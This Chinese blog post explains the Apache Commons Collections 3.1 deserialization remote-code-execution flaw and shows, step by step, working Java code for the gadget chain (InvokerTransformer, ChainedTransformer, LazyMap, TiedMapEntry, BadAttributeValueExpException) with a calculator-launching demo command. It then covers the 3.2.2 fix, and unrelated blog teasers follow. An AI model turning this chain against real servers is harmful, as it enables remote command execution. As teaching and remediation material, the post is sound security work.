不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

Fastjson反序列化漏洞详解 fastjson介绍:fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。FastJson是啊里巴巴的的开源库,用与对JSON格式的数据进行解析和打包。速度快使用广泛测试完备使用简单功能完备JSON数据格式{"name":zy, "age":22, "flag":true, "gender":male, "address":cs}("key":value) 阅读详情

工作久了的话,就会慢慢有种感觉:代码都是人写的,是人写的代码就可能存在漏洞,这个是永远都无法避免的,任何牛X的程序员都不可能写出完全没有bug的代码!

其实关于序列化的安全性问题,无论是Java原生的序列化技术还是很多其他的开源序列化工具,都曾经发生过。

序列化的安全性,一直都是比较大的一个话题,我无意为fastjson辩驳,但是出问题之后直接喷代码写的烂,其实是有点不负责任的。

Apache-Commons-Collections这个框架,相信每一个Java程序员都不陌生,这是一个非常著名的开源框架。

但是,他其实也曾经被爆出过序列化安全漏洞,而漏洞的表现和fastjson一样,都是可以被远程执行命令。

 

背景

Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Commons Collections的最新版是4.4,但是使用比较广泛的还是3.x的版本。其实,在3.2.1以下版本中,存在一个比较大的安全漏洞,可以被利用来进行远程命令执行。

这个漏洞在2015年第一次被披露出来,但是业内一直称称这个漏洞为"2015年最被低估的漏洞"。

因为这个类库的使用实在是太广泛了,首当其中的就是很多Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。

 

问题复现

这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。

利用Transformer攻击

Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型转换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。

InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。

而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:

也就是说,使用这个类,理论上可以执行任何方法。那么,我们就可以利用这个类在Java中执行外部命令。

我们知道,想要在Java中执行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我们就想办法通过以上工具类实现这个功能。

首先,通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数:

Transformer transformer = new InvokerTransformer("exec",

        new Class[] {String.class},

        new Object[] {"open /Applications/Calculator.app"});

通过,构造函数,我们设定方法名为exec,执行的命令为open /Applications/Calculator.app,即打开mac电脑上面的计算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

然后,通过InvokerTransformer实现对Runtime类的实例化:

transformer.transform(Runtime.getRuntime());

运行程序后,会执行外部命令,打开电脑上的计算机程序:

至此,我们知道可以利用InvokerTransformer来调用外部命令了,那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串,然后再反序列化,接口实现远程命令执行:

先将transformer对象序列化到文件中,再从文件中读取出来,并且执行其transform方法,就实现了攻击。

你以为这就完了?

但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。

因为,newTransformer.transform(Runtime.getRuntime());这样的代码,不会有人真的在代码中写的。

如果没有了这行代码,还能实现执行外部命令么?

这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer,这个类是Transformer的实现类。

ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,然后依次调用其transform方法,并且每次都返回一个对象,并且这个对象可以作为下一次调用的参数。

那么,我们可以利用这个特性,来自己实现和transformer.transform(Runtime.getRuntime());同样的功能:

 Transformer[] transformers = new Transformer[] {

    //通过内置的ConstantTransformer来获取Runtime类

    new ConstantTransformer(Runtime.class),

    //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法

    new InvokerTransformer("getMethod",

        new Class[] {String.class, Class[].class },

        new Object[] {"getRuntime", new Class[0] }),

    //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象

    new InvokerTransformer("invoke",

        new Class[] {Object.class, Object[].class },

        new Object[] {null, new Object[0] }),

    //反射调用exec方法

    new InvokerTransformer("exec",

        new Class[] {String.class },

        new Object[] {"open /Applications/Calculator.app"})

};



Transformer transformerChain = new ChainedTransformer(transformers);

在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:

那么,结合序列化,现在的攻击更加进了一步,不再需要一定要传入newTransformer.transform(Runtime.getRuntime());这样的代码了,只要代码中有transformer.transform()方法的调用即可,无论里面是什么参数:

攻击者不会满足于此

但是,一般也不会有程序员会在代码中写这样的代码。

那么,攻击手段就需要更进一步,真正做到"不需要程序员配合"。

于是,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)

那么,现在的攻击方向就是想办法调用到LazyMap的get方法,并且把其中的factory设置成我们的序列化对象就行了。

顺藤摸瓜,可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。

public String toString() {

    return getKey() + "=" + getValue();

}



public Object getValue() {

    return map.get(key);

}

那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。

Transformer transformerChain = new ChainedTransformer(transformers);



Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我们知道,toString会在很多时候被隐式调用,如输出的时候(System.out.println(ois.readObject());),代码示例如下:

现在,黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化之后,如果调用了toString就会被攻击。

只要反序列化,就会被攻击

那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?

倒还真的被发现了,只要满足以下条件就行了:

那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候,会调用对象的readObject方法。

通过深入挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例

BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:

那么,攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。

通过阅读源码,我们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。

这就简单了,通过反射就能实现:

Transformer transformerChain = new ChainedTransformer(transformers);



Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");



BadAttributeValueExpException poc = new BadAttributeValueExpException(null);



// val是私有变量,所以利用下面方法进行赋值

Field valfield = poc.getClass().getDeclaredField("val");

valfield.setAccessible(true);

valfield.set(poc, entry);

于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。

问题解决

以上,我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。

通过这个漏洞的分析,我们可以发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。

因为这个漏洞影响范围很大,所以在被爆出来之后就被修复掉了,开发者只需要将Apache Commons Collections类库升级到3.2.2版本,即可避免这个漏洞。

3.2.2版本对一些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括

CloneTransformer

ForClosure

InstantiateFactory

InstantiateTransformer

InvokerTransformer

PrototypeCloneFactory

PrototypeSerializationFactory,

WhileClosure

如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:

在两个方法中,进行了序列化安全的相关校验,校验实现代码如下:

在序列化及反序列化过程中,会检查对于一些不安全类的序列化支持是否是被禁用的,如果是禁用的,那么就会抛出UnsupportedOperationException,通过org.apache.commons.collections.enableUnsafeSerialization设置这个特性的开关。

将Apache Commons Collections升级到3.2.2以后,执行文中示例代码,将报错如下:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

后话

本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。

如果你阅读本文之后,能够有以下思考,那么本文的目的就达到了:

1、代码都是人写的,有bug都是可以理解的

2、公共的基础类库,一定要重点考虑安全性问题

3、在使用公共类库的时候,要时刻关注其安全情况,一旦有漏洞爆出,要马上升级

4、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug都可能被利用

参考资料:

https://commons.apache.org/proper/commons-collections/release_3_2_2.html

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/vuls/175252.html

https://kingx.me/commons-collections-java-deserialization.html

 

fastjson(autoType)反序列化漏洞 针对fastjson反序列化有关的安全问题。如果系统并非内部局域网使用,使用fastjson2并且不启用默认关闭的AutoType机制是最有效的安全做法。 阅读详情

相关推荐

Fastjson反序列化漏洞原理及漏洞复现

Fastjson反序列化漏洞原理及反弹shell利用

weixin_46263525的博客 2180

Java代码审计——Commons Collections5 BadAttributeValueExpException

0x00 前言 反序列化总纲 cc链无非就是不同的调用拼接在一起形成的,比如cc5就是在cc1的基础上进行调用调整的。 0x01 BadAttributeValueExpException 在LazyMap的基础上,发现了一个新的调用方式,就是通过 TiedMapEntry+BadAttributeValueExpException的方式进行调用的。 在之前,我们知道LazyMap需要调用get方法才可以触发,那么我们的主题就是如果去触发LazyMap的get方法。 1.TiedMapEntry 首先来看这

王嘟嘟的博客 1604

从零开始利用MATLAB进行FPGA设计(一):建立脉冲检测模型的Simulink模型2

上一期分析了MATLAB的黄金算法原理,这一期进行Simulink模块分析。

WZT725的博客 2087

初识Java反序列化漏洞

Java反序列化漏洞 漏洞成因是自定义实现Serializable的方法中的readObject()方法内代码逻辑存在缺陷。 Java反序列化中readObject()方法的作用相当于PHP反序列化中的魔术函数,使反序列化过程部分可控,通过去寻找可利用的类并构造反射链来进行任意代码执行。 Java反序列化 序列化的基本概念 • 序列化:将对象转换为字节序列 • 反序列化:由字节序列恢复为对象 • 意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达

weixin_43610673的博客 3472

Proteus仿真AT89C51驱动DHT11:温湿度数据采集与LCD1602显示的5个调试坑点总结

本文总结了在Proteus仿真环境下使用AT89C51驱动DHT11温湿度传感器并通过LCD1602显示的5个常见调试坑点,包括DHT11时序问题、LCD1602初始化错误、数据校验失败、仿真特有差异及系统稳定性问题,提供了详细的解决方案和优化代码示例,帮助开发者高效完成温湿度采集项目。

weixin_30335575的博客 357

目标检测中的困难样本挖掘:YOLOv5训练效果提升30%的秘诀

本文深入探讨了目标检测中困难样本挖掘的关键技术,特别是如何通过在线困难样本挖掘(OHEM)策略显著提升YOLOv5模型的性能。文章详细解析了困难样本的分类、识别机制及实战配置,并提供了数据标注策略与增强技巧,最终实现模型性能提升30%的突破。

weixin_30379531的博客 402

【Web】浅聊Java反序列化之CC5——BadAttributeValueExpException

【Web】Java反序列化之CC6--HashMap版CC5之前就简单看了下,没专门水文章跟,补票版本还是commons-collections 3.2.1CC5的链和CC6差不多,区别在入口不同,以及前者调用 LazyMap.get()用的是 TiedMapEntry.toString(),后者用的是TiedMapEntry.hashCode()(虽然本质都是调用getValue)

uuzeray的博客 1074

51单片机通过计时器实现倒计时

51单片机通过计时器操作两位8段阳极数码管,实现倒计时

一份耕耘,一分收获 3万+

java rmi反序列化漏洞 简介

目录 一、RMI简介 二、RMI示例 三、漏洞复现 四、漏洞分析 1、为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明? 2、为什么不直接将badAttributeValueExpException对象bind到RMI服务? 一、RMI简介 首先看一下RMI在wikipedia上的描述: Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程.

whatday的专栏 1197

C/C++小宇宙代码(完整代码)

C语言实现小宇宙的完整代码。

AIGC 2526

2026年3月GESP真题及题解(C++七级): 选择题和判断题(题解)

2026年3月GESP真题及题解(C++七级): 选择题和判断题(题解)

王老师青少年编程 992

『Java安全』反序列化-CC5反序列化漏洞POP链分析_ysoserial CommonsCollections5 PoC分析

文章目录前言代码复现工具类PoC代码审计 | 原理分析1. LazyMap.get()调用this.factory.transform()2. TiedMapEntry.toString()调用this.map.get()3. BadAttributeValueExpException反序列化触发this.val.toString()POP链完 前言 由于jdk8修复了AnnotationInvokerHandler,cc1用不了了 cc5在cc1点基础上做了小的改进,还是使用Commons-Collect

Ho1aAs‘s Blog 1439

DeepSeek-OCR安装部署文档和避坑指南,包含大多数人遇到的安装报错问题

DeepSeek-OCR安装部署指南摘要:本文详细介绍高性能OCR工具DeepSeek-OCR的安装流程,支持多语言识别和复杂场景文字提取。系统要求包括Linux/Windows/macOS操作系统,推荐NVIDIA显卡(显存≥6GB)和≥16GB内存。安装步骤涵盖:1)创建conda虚拟环境;2)安装PyTorch等核心依赖;3)解决常见问题如CUDA版本冲突、模型下载慢等。提供GPU内存不足等问题的解决方案,帮助开发者快速部署OCR服务。(149字)

yolo模型训练找我,AI游戏合作找我 2955

原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

原文:https://dwz.cn/UrCZL9XA译文:https://dwz.cn/tlhgis7R翻译:Rhys_Lee, AzureSora, 溪边九节, 小小菜...

HollisChuang's Blog 1万+

air780e stm32标准库发送英文短信,如何实现?(附相关源码,仅供参考)

🏆 本文收录于《全栈Bug调优(实战版)》专栏,致力于分享我在项目实战过程中遇到的各类Bug及其原因,并提供切实有效的解决方案。无论你是初学者还是经验丰富的开发者,本文将为你指引出一条更高效的Bug修复之路,助你早日登顶,迈向财富自由的梦想🚀!同时,欢迎大家关注、收藏、订阅本专栏,更多精彩内容正在持续更新中。让我们一起进步,Up!Up!Up!    备注: 部分问题/难题源自互联网,经过精心筛选和整理,结合数位十多年大厂实战经验资深大佬经验总结所得,数条可行方案供所需之人参考。

**My Coding Family** 1240

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞,从零基础到精通,收藏这篇就够了!

在《》文章中,我从技术角度分析过为什么fastjson会被频繁爆出一些安全漏洞,然后有人在评论区发表"说到底就是fastjson烂…"等言论,一般遇到这种评论我都是不想理的。但是事后想想,这个事情还是要单独说一下,因为这种想法很危险。一旦这位读者有一天当上了领导,那么如果他负责的项目发生了漏洞,他还是站出来说"都怪XXX代码写的烂…",这其实是非常可怕的。

喜欢Python编程的程序员柚柚呀 901

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

什么是FastJson中AutoType反序列化漏洞?

文章目录频繁出现的反序列化漏洞parse()及parseObject()AutoType及安全校验AutoType安全校验AutoType黑名单机制SafeMode安全机制攻击思路反序列化攻击模拟TemplatesImpl攻击调用链路攻击类Translet生成构造攻击JSON串攻击模拟写在最后 频繁出现的反序列化漏洞 最近公司的小伙伴们收到了一波安全工单,因为FastJson存在高危漏洞,要求将FastJson版本号升级到1.2.69及以上 漏洞描述如下 在Fastjson<=1.2.68的版本中,

hosaos的博客 1万+

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

Fastjson 反序列化漏洞

fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞

Cover-3321的博客 7582
上一篇: 创建线程那么容易,为什么非要让我使用线程池?(深深深入剖析)
下一篇: 非常强悍的 RabbitMQ 总结,干货满满,看到就是赚到!
java架构那些事
博客等级 码龄6年 6粉丝 39原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值